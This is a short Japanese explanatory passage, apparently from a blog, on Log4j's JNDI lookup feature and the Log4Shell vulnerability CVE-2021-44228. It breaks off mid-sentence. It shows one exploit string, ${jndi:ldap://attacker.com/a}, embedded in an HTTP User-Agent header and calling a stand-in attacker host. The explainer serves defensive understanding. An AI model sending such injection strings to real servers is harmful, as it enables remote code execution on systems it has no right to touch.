JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
![【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について](https://cdn-ak-scissors.b.st-hatena.com/image/square/7325b1cbd99529a72dc85aab672ff9eae6c94294/height=288;version=1;width=512/https%3A%2F%2Fmilestone-of-se.nesuke.com%2Fwp-content%2Fuploads%2F2021%2F12%2Flog4shell-01v3.png)